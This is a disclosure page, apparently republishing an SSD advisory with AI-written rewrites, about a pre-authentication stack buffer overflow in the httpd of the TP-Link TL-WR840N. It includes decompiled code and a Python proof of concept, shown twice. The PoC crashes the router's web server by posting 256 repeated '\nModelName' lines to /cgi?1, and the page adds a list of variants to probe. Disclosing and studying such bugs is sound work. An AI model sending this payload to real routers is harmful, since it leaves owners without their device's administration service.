Skip to content
DoS Write-up Intermediate

SSD Advisory – TP-Link TL-WR840N Stack Buffe Overflow DOSy

A pre-authentication stack buffer overflow in the TP-Link TL-WR840N httpd allows remote attackers to crash the service by sending a crafted request to the /cgi endpoint. The crash causes a denial of service because httpd does not respawn.

delsploit Follow

Published on ssd-disclosure.com

A vulnerability in TP-Link’s TL-WR840N allows remote attackers to trigger a stack overflow vulnerability allowing remote attackers to cause a denial of service in httpd.

SSD Secure Disclosure technical team, on ssd-disclosure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

TP-Link's TL-WR840N is a home router, and this write-up concerns the httpd server that runs on it. The server registers a number of handlers for paths that can be reached before authentication, and one of those paths is /cgi. The registration happens in http_cgi_init, which binds /cgi to the handler http_cgi_main:

C
int http_cgi_init()
{
  return http_alias_addEntryByArg(2u, "/cgi", 0, http_cgi_main, g_http_author_default);
}

The handler dispatches on a parameter, and one of the dispatch cases leads into the object retrieval code that eventually reaches the vulnerable function. The bug is a stack buffer overflow that lets a remote attacker cause a denial of service in httpd.

Setup

The affected device is the TL-WR840Nv6 running firmware version 0.9.1_4.1.19. The proof of concept is a short Python script using requests, and it targets the router at its default address, [redacted]. No account or credential is needed: the path used is pre-auth.

Finding it

The researcher started from the pre-auth surface of the device. The /cgi path is registered with http_alias_addEntryByArg and handled by http_cgi_main. Inside that handler, the authentication check is checkOidAuth, and the code comments that a return value of 1 means pre-auth:

C
int __fastcall http_cgi_main(unknown_structure *a1)
{
      /* skip */
      if ( !checkOidAuth(DescStr, cgi_param) )  // return 1 => pre-auth
      {
        cdbg_printf(8, "http_cgi_main", 819, "checkOidAuth(oid %s) is FALSE \n", DescStr);
        goto LABEL_93;
      }
      switch ( cgi_param )
      {
        case 1u:
          v6 = rdp_getObj(1, DescStr, v45, data); // vulnerable path
          if ( v6 > 0 )
            goto EXIT;
          if ( sub_40B0B0(client_type, actIndex++, (unsigned __int16 *)v45 + 1, data) )
            goto LABEL_93;
          goto LABEL_85;
     /* skip */
  }

With cgi_param equal to 1, the handler calls rdp_getObj, which the researcher marks as the vulnerable path. rdp_getObj in turn calls dm_fillStrByObj:

C
int __fastcall rdp_getObj(int a1, int a2, int a3, int a4)
{
  /* skip */
    {
      _v0_5 = dm_fillStrByObj(a1, _s3_3, a3, (t_obj *)var4400, 0xF9Fu, (const char *)a4);  // vulnerable function
      _s2_5 = _v0_5;
      if ( _v0_5 )
      {
        cdbg_perror("rdp_getObj", 310, _v0_5);
        _s0_1 = _s2_5;
      }
      dm_unLock();
    }
  /* skip */
}

The sixth argument of dm_fillStrByObj is the data string, and that string is supplied by the remote user as part of the input given in the URL. That is what made the path worth reading closely.

Exploitation

Step 1: understand how the input is parsed

The vulnerable function walks the data string line by line, splitting on newlines and on =:

C
unsigned int __fastcall dm_fillStrByObj(int a1, unsigned __int16 oid, int a3, t_obj *a4, unsigned int data_size, const char *data)
{
  /* skip */
  obj = dm_getObjNode(oid);
  if ( !obj )
  {
    cdbg_printf(8, "dm_fillStrByObj", 2091, "Get object information failed. object oid = %u\n", v7);
    return 9804;
  }
  memset(index_list, 0, 70);
  v11 = strlen(data);
  if ( v11 )
  {
    v15 = (_BYTE *)strchr(data, '\n');
    v16 = (char *)data;
    param_idx = 0;
    while ( v15 )
    {
      *v15 = 0;
      v17 = (_BYTE *)strchr(v16, '=');
      if ( v17 )
        *v17 = 0;
      index = find_objParam_index(obj, v16);  // [1]
      if ( index == -1 )
      {
        v51 = v16;
        v52 = *(const char **)(obj + 8);
        v19 = 351;
        goto FAILED_INDEX;
      }
      v11 += ~(v15 - v16);
      index_list[param_idx] = index;  // [2]
      param_idx = (unsigned __int16)(param_idx + 1);
      if ( !v11 )
        goto LABEL_24;
      v16 = v15 + 1;
      v15 = (_BYTE *)strchr(v15 + 1, '\n');
    }
  /* skip */
}

For each line, the name part is passed to find_objParam_index at [1], and the resulting index is stored into index_list[param_idx] at [2]. index_list is a local variable, and it is zeroed with a fixed size of 70 bytes before the loop starts.

Step 2: drive param_idx past the end of the buffer

The loop increments param_idx for every line it processes, and nothing limits how large it can become. The researcher's conclusion is that there is no limitation on the value used in param_idx, so it can be increased indefinitely. Each iteration writes one entry into index_list at an ever-growing offset, which produces an out-of-bounds write. Because index_list lives on the stack, the out-of-bounds write becomes a stack buffer overflow.

Step 3: send the payload

The proof of concept sends a POST to the /cgi path with the parameter set to 1, and a body containing a description line followed by many repetitions of \nModelName:

Python
import requests
headers = {
	"Host": "[redacted]",
	"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
	"Accept": "*/*",
	"Accept-Language": "en-US,en;q=0.5",
	"Accept-Encoding": "gzip, deflate",
	"Content-Type": "text/plain",
	"Content-Length": "78",
	"Origin": "http://[redacted]",
	"Connection": "close",
	"Referer": "http://[redacted]/"
}

payload = "\nModelName"*0x100
formdata = f"[IGD_DEV_INFO#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\ndescription\nModelName{payload}\r\n"

url = "http://[redacted]/cgi?1"

response = requests.post(url, data=formdata, headers=headers)
print(response.text)

The URL http://[redacted]/cgi?1 selects the /cgi handler with the parameter value 1, which is the dispatch case that reaches rdp_getObj and then dm_fillStrByObj. The body starts with an object descriptor line, then a description line, then ModelName followed by the payload, which is 0x100 repetitions of \nModelName. Each newline creates another line for the parser, and each processed line causes another write into index_list, pushing param_idx further past the end of the local buffer.

Root cause

The parser in dm_fillStrByObj processes the user-supplied data string line by line. It stores one index per line into the local array index_list and increments param_idx without limitation, so it can grow indefinitely. The data argument is attacker-controlled, so the number of iterations, and therefore the write offset, is attacker-controlled too. The result is an out-of-bounds write on the stack.

The design of the software makes the consequence worse: if httpd crashes, it does not respawn.

Impact

A remote attacker can trigger the stack overflow through the pre-auth /cgi path and cause a denial of service in httpd. The report notes that if httpd crashes, it does not respawn. The report describes the outcome as a denial of service; it does not describe code execution.

Fix

The vendor released new firmware, TL-WR840N(KR)_V6.2_230702, available from the TP-Link support download page for the TL-WR840N. The vendor also stated that it has no plans to release an advisory or a CVE for this vulnerability. The report does not describe the code change made in the firmware.

Variants to test

  1. Other pre-auth paths registered through http_alias_addEntryByArg: check whether their handlers reach object-filling routines that parse attacker-controlled strings into fixed-size local arrays. A positive result is a handler that accepts input before checkOidAuth succeeds and passes it to a loop with an unbounded index.
  2. Other dispatch values of cgi_param in http_cgi_main: try values other than 1 and follow each case into the functions it calls. A positive result is another case that reaches rdp_getObj or a similar routine with user-controlled data.
  3. Other callers of dm_fillStrByObj: look for paths where the data argument comes from the request rather than from internal state. A positive result is a request parameter that lands in the sixth argument of the function.
  4. Line-count stress on any parser that splits input on newlines into a fixed-size array: send increasing numbers of lines and watch for a crash or corrupted response. A positive result is a crash of the service at a line count that exceeds the array's capacity.
  5. Respawn behaviour of the web server after a crash: crash httpd once and check whether it comes back. A positive result is a service that stays down, which turns any crash bug into a persistent denial of service.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

A home router made by TP-Link, the TL-WR840N, runs a small web server inside it. That web server is called httpd. You reach it whenever you open the router's settings page in a browser, usually at an address like [redacted].

A security researcher found that one of the web server's addresses, /cgi, can be reached without logging in. The report shows that a specially crafted request can make the server write past a small piece of memory. This is called a stack buffer overflow. The result can be that the web server crashes. The report notes that if httpd crashes, it does not respawn. That is a denial of service: the service is made unavailable to its normal users.

The report describes only this crash outcome. It does not describe taking control of the device.

The product and the feature

A router is the box at home that connects your devices to your internet provider. Like any small computer, it runs software. One part of that software is a web server, httpd, which serves the administration pages you see in a browser.

A web server listens for requests. A request is a message from your browser asking for something, for example "show me the settings page". Each request names a path, which is the part of the address after the machine, such as /cgi in http://[redacted]/cgi. The server has a piece of code, called a handler, assigned to each path. When a request arrives for a path, the matching handler runs.

Some paths require you to be logged in first. Others are reachable before login; security people call those pre-auth, short for pre-authentication. The /cgi path is one of the pre-auth ones.

How the path is registered

The server decides which handler belongs to which path at start-up. The report shows the function that does this for /cgi:

C
int http_cgi_init()
{
  return http_alias_addEntryByArg(2u, "/cgi", 0, http_cgi_main, g_http_author_default);
}

Line by line:

  • int http_cgi_init() declares a function named http_cgi_init. The int means it hands back a whole number when it finishes.
  • return http_alias_addEntryByArg(...) calls another function and passes its result back as this function's result.
  • 2u is a number (the u just marks it as unsigned).
  • "/cgi" is the path being registered.
  • 0 is another numeric argument.
  • http_cgi_main is the name of the handler function that should run for this path. In C you can pass a function by name like this, and the receiving code can call it later.
  • g_http_author_default is a name for some authorisation setting, presumably a default one.

In plain words: "when a request comes in for /cgi, run http_cgi_main".

The handler and the login check

The handler http_cgi_main is where the request is examined. The report shows part of it:

C
int __fastcall http_cgi_main(unknown_structure *a1)
{
      /* skip */
      if ( !checkOidAuth(DescStr, cgi_param) )  // return 1 => pre-auth
      {
        cdbg_printf(8, "http_cgi_main", 819, "checkOidAuth(oid %s) is FALSE \n", DescStr);
        goto LABEL_93;
      }
      switch ( cgi_param )
      {
        case 1u:
          v6 = rdp_getObj(1, DescStr, v45, data); // vulnerable path
          if ( v6 > 0 )
            goto EXIT;
          if ( sub_40B0B0(client_type, actIndex++, (unsigned __int16 *)v45 + 1, data) )
            goto LABEL_93;
          goto LABEL_85;
     /* skip */
  }

Line by line:

  • int __fastcall http_cgi_main(unknown_structure *a1) declares the handler. __fastcall is a compiler hint about how arguments are passed; it does not change what the code does. unknown_structure *a1 is a pointer to a block of data, presumably the request.
  • /* skip */ marks code the report leaves out.
  • if ( !checkOidAuth(DescStr, cgi_param) ) calls a function named checkOidAuth and checks whether its result is zero (the ! means "not"). The comment says a return value of 1 means pre-auth.
  • The block inside the if prints a debug message with cdbg_printf and jumps to a label LABEL_93, which is some exit or error path.
  • switch ( cgi_param ) looks at a value called cgi_param and picks a branch based on it. Think of it as a set of labelled doors: the value decides which door opens.
  • case 1u: is the branch taken when cgi_param equals 1.
  • v6 = rdp_getObj(1, DescStr, v45, data); calls a function rdp_getObj, passing four things, and stores the result in v6. The comment marks this as the vulnerable path.
  • if ( v6 > 0 ) goto EXIT; leaves the handler if the call returned a positive number.
  • if ( sub_40B0B0(...) ) goto LABEL_93; calls another function and jumps to the error label if it returns something non-zero.
  • goto LABEL_85; jumps to another label.

Why this matters: the request carries a value, cgi_param, and the value 1 sends the request down the road that ends at the buggy code. The login check is present, but the comment tells us the path can be reached before login.

The next function in the chain

rdp_getObj is the function called from the case 1u branch. The report shows it:

C
int __fastcall rdp_getObj(int a1, int a2, int a3, int a4)
{
  /* skip */
    {
      _v0_5 = dm_fillStrByObj(a1, _s3_3, a3, (t_obj *)var4400, 0xF9Fu, (const char *)a4);  // vulnerable function
      _s2_5 = _v0_5;
      if ( _v0_5 )
      {
        cdbg_perror("rdp_getObj", 310, _v0_5);
        _s0_1 = _s2_5;
      }
      dm_unLock();
    }
  /* skip */
}

Line by line:

  • int __fastcall rdp_getObj(int a1, int a2, int a3, int a4) declares the function with four arguments.
  • _v0_5 = dm_fillStrByObj(a1, _s3_3, a3, (t_obj *)var4400, 0xF9Fu, (const char *)a4); calls dm_fillStrByObj with six arguments and stores the result. The comment marks this as the vulnerable function. (t_obj *) and (const char *) are type casts: they tell the compiler what kind of data the value points to.
  • _s2_5 = _v0_5; copies the result into another variable.
  • if ( _v0_5 ) checks whether the result is non-zero, which usually signals an error.
  • cdbg_perror("rdp_getObj", 310, _v0_5); logs an error message.
  • _s0_1 = _s2_5; saves the result again.
  • dm_unLock(); releases a lock, a mechanism that stops two parts of the program from using the same data at the same time.

The important part is the sixth argument of dm_fillStrByObj. The report says it is the data string supplied by the remote user. In other words, text supplied by whoever sends the request ends up inside the vulnerable function. That is what made this path worth reading closely.

The vulnerable function

Here is the function where the overflow happens:

C
unsigned int __fastcall dm_fillStrByObj(int a1, unsigned __int16 oid, int a3, t_obj *a4, unsigned int data_size, const char *data)
{
  /* skip */
  obj = dm_getObjNode(oid);
  if ( !obj )
  {
    cdbg_printf(8, "dm_fillStrByObj", 2091, "Get object information failed. object oid = %u\n", v7);
    return 9804;
  }
  memset(index_list, 0, 70);
  v11 = strlen(data);
  if ( v11 )
  {
    v15 = (_BYTE *)strchr(data, '\n');
    v16 = (char *)data;
    param_idx = 0;
    while ( v15 )
    {
      *v15 = 0;
      v17 = (_BYTE *)strchr(v16, '=');
      if ( v17 )
        *v17 = 0;
      index = find_objParam_index(obj, v16);  // [1]
      if ( index == -1 )
      {
        v51 = v16;
        v52 = *(const char **)(obj + 8);
        v19 = 351;
        goto FAILED_INDEX;
      }
      v11 += ~(v15 - v16);
      index_list[param_idx] = index;  // [2]
      param_idx = (unsigned __int16)(param_idx + 1);
      if ( !v11 )
        goto LABEL_24;
      v16 = v15 + 1;
      v15 = (_BYTE *)strchr(v15 + 1, '\n');
    }
  /* skip */
}

Line by line:

  • The function takes six arguments. The last one, const char *data, is the text from the request.
  • obj = dm_getObjNode(oid); looks up an internal object by its identifier oid. If the lookup fails, the function logs a message and returns the number 9804.
  • memset(index_list, 0, 70); fills the first 70 bytes of a local array called index_list with zeros. A local array is a small reserved area of memory that belongs to this function while it runs. Here it is 70 bytes long.
  • v11 = strlen(data); measures how many characters the input has.
  • if ( v11 ) runs the following block only if the input is not empty.
  • v15 = (_BYTE *)strchr(data, '\n'); finds the first newline character in the input. A newline is what you get when you press Enter; in a request body it separates lines.
  • v16 = (char *)data; sets a marker to the start of the input.
  • param_idx = 0; starts a counter at zero.
  • while ( v15 ) repeats as long as a newline was found.
  • *v15 = 0; replaces the newline with a zero byte, which in C marks the end of a piece of text. This cuts the input into separate lines.
  • v17 = (_BYTE *)strchr(v16, '='); looks for an equals sign in the current line.
  • if ( v17 ) *v17 = 0; if there is one, replaces it with a zero byte too, splitting the line into a name and a value.
  • index = find_objParam_index(obj, v16); asks which parameter index the name corresponds to. The comment marks this as [1].
  • if ( index == -1 ) handles an unknown name: it sets some variables and jumps to FAILED_INDEX.
  • v11 += ~(v15 - v16); adjusts the remaining-length counter.
  • index_list[param_idx] = index; stores the found index into the array at position param_idx. The comment marks this as [2].
  • param_idx = (unsigned __int16)(param_idx + 1); increases the counter by one for the next line.
  • if ( !v11 ) goto LABEL_24; stops when nothing is left.
  • v16 = v15 + 1; moves the marker to the start of the next line.
  • v15 = (_BYTE *)strchr(v15 + 1, '\n'); finds the next newline.

So the function walks the input line by line. For every line it works out an index and writes that index into index_list at the position given by the counter. The array is zeroed with a fixed size of 70 bytes, and the report says there is no limitation on param_idx.

Why it overflows

The counter param_idx goes up by one for every line processed, and no code compares it with the size of index_list. The researcher's conclusion is that there is no limitation on the value used in param_idx, so it can be increased indefinitely. Each line writes one entry at an ever-growing offset, past the end of the array. Writing outside the area you were given is called an out-of-bounds write.

Because index_list is a local variable, it sits on the stack. The stack is the region of memory a program uses for the short-lived data of running functions: local variables, return addresses and similar. Writing past a local array therefore damages neighbouring stack data, which is why this is called a stack buffer overflow. A simple comparison: imagine a row of 70 numbered lockers and a person told to keep putting parcels in locker 1, locker 2, locker 3 and so on, with no instruction to stop at 70. Soon parcels are being shoved into whatever stands next to the lockers.

The proof of concept

The researcher wrote a short Python script as a proof of concept. Python is a programming language; the script uses a library called requests, which sends web requests the way a browser does.

Python
import requests
headers = {
	"Host": "[redacted]",
	"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
	"Accept": "*/*",
	"Accept-Language": "en-US,en;q=0.5",
	"Accept-Encoding": "gzip, deflate",
	"Content-Type": "text/plain",
	"Content-Length": "78",
	"Origin": "http://[redacted]",
	"Connection": "close",
	"Referer": "http://[redacted]/"
}

payload = "\nModelName"*0x100
formdata = f"[IGD_DEV_INFO#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\ndescription\nModelName{payload}\r\n"

url = "http://[redacted]/cgi?1"

response = requests.post(url, data=formdata, headers=headers)
print(response.text)

Line by line:

  • import requests loads the requests library so the script can send web requests.
  • headers = { ... } builds a dictionary of headers. Headers are the extra lines a browser sends with every request, describing the request itself. Host says which machine is being addressed; User-Agent describes the browser; Accept and Accept-Language say what kind of answer is wanted; Content-Type says the body is plain text; Content-Length gives the body length; Origin and Referer say where the request came from; Connection: close asks to close the connection afterwards. These make the request look like one from an ordinary browser.
  • payload = "\nModelName"*0x100 builds a string consisting of a newline followed by ModelName, repeated 0x100 times. 0x100 is hexadecimal for 256. So this is 256 repetitions, each starting with a newline.
  • formdata = f"..." builds the body of the request. The f marks an f-string, which lets you insert a variable into text. The body starts with [IGD_DEV_INFO#0,0,0,0,0,0#0,0,0,0,0,0]0,1, then a carriage return and newline, then description, then a newline, then ModelName, then the payload, then a final carriage return and newline.
  • url = "http://[redacted]/cgi?1" is the address to send to. [redacted] is the router's default address on the local network. /cgi is the path, and ?1 passes the value 1 as the parameter, which is the cgi_param value that selects the vulnerable branch.
  • response = requests.post(url, data=formdata, headers=headers) sends a POST request. POST is the request type used when you send data to a server, as opposed to GET, which just asks for a page. The body and headers are attached.
  • print(response.text) prints whatever the server sends back.

Why this shape of body: the parser in dm_fillStrByObj splits the input on newlines. Every newline starts a new line, and every line whose name matches a known parameter causes one more write into index_list. The 256 repetitions of \nModelName therefore produce many lines, pushing the counter past the end of the local array.

Root cause

The parser processes the text supplied by the user line by line. It stores one index per line into the local array index_list and increases param_idx without limitation. Since the text comes from the attacker, the number of repetitions, and therefore how far past the end the writes go, is under the attacker's control. The result is an out-of-bounds write on the stack.

The design of the software makes the consequence worse: if httpd crashes, it does not respawn.

Impact

A remote attacker can trigger the stack overflow through the pre-auth /cgi path and cause a denial of service in httpd. The report describes the outcome as a denial of service; it does not describe code execution.

Affected devices and fix

The affected device is the TL-WR840Nv6 running firmware version 0.9.1_4.1.19. Firmware is the software built into the device; a version number identifies which build it is.

The vendor released new firmware, TL-WR840N(KR)_V6.2_230702, available from the TP-Link support download page for the TL-WR840N. The vendor also stated that it has no plans to release an advisory or a CVE for this vulnerability. A CVE is a public identifier given to a known security flaw so people can refer to it consistently.

Variants to test

  1. Other pre-auth paths registered through http_alias_addEntryByArg: check whether their handlers reach object-filling routines that parse attacker-controlled strings into fixed-size local arrays. A positive result is a handler that accepts input before checkOidAuth succeeds and passes it to a loop with an unbounded index.
  2. Other dispatch values of cgi_param in http_cgi_main: try values other than 1 and follow each case into the functions it calls. A positive result is another case that reaches rdp_getObj or a similar routine with user-controlled data.
  3. Other callers of dm_fillStrByObj: look for paths where the data argument comes from the request rather than from internal state. A positive result is a request parameter that lands in the sixth argument of the function.
  4. Line-count stress on any parser that splits input on newlines into a fixed-size array: send increasing numbers of lines and watch for a crash or corrupted response. A positive result is a crash of the service at a line count that exceeds the array's capacity.
  5. Respawn behaviour of the web server after a crash: crash httpd once and check whether it comes back. A positive result is a service that stays down, which turns any crash bug into a persistent denial of service.

Glossary

  • Router: the home device that connects your computers and phones to your internet provider.
  • Web server: software that listens for requests from browsers and answers them with pages or data.
  • httpd: the name of the web server program running on this router.
  • Request: a message a browser (or script) sends to a server asking for something or sending data.
  • Path: the part of an address after the machine name, such as /cgi, that tells the server which handler to run.
  • Handler: the piece of code assigned to a path, run when a request for that path arrives.
  • Pre-auth: reachable before logging in.
  • Authentication: proving who you are, usually by logging in.
  • Authorisation: deciding what a proven user is allowed to do.
  • Function: a named block of code that does a job and can be called from elsewhere.
  • Argument / parameter: a value handed to a function when it is called.
  • Pointer: a value that says where in memory some data lives, rather than holding the data itself.
  • Type cast: telling the compiler to treat a value as a particular kind of data.
  • Local variable: a variable that exists only while its function runs.
  • Array: a numbered row of slots in memory, each holding one value.
  • Buffer: a reserved area of memory used to hold data, such as an array.
  • Stack: the memory region a program uses for the short-lived data of running functions, including local variables.
  • Stack buffer overflow: writing more data into a local buffer than it can hold, damaging neighbouring stack memory.
  • Out-of-bounds write: writing to a memory position outside the area that was reserved.
  • Memory corruption: damage to memory contents caused by writing where you should not.
  • Denial of service (DoS): making a service unavailable to its normal users, for example by crashing it.
  • Respawn: a program restarting automatically after it stops or crashes.
  • Firmware: the software built into a device such as a router.
  • CVE: a public identifier for a known security vulnerability.
  • Header: an extra line sent with a web request or response describing it.
  • POST: the request type used to send data to a server.
  • GET: the request type used to ask for a page or resource.
  • Payload: the part of a request that carries the data the attacker wants the target to process.
  • Python: a programming language; here used to write a short script that sends requests.
  • requests: a Python library for sending web requests.
  • Hexadecimal: a way of writing numbers using 0 to 9 and A to F; 0x100 means 256.
  • Newline: the character produced by pressing Enter, used to separate lines of text.
  • Proof of concept (PoC): a small script or set of steps that demonstrates a vulnerability in practice.

More from TP-Link

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.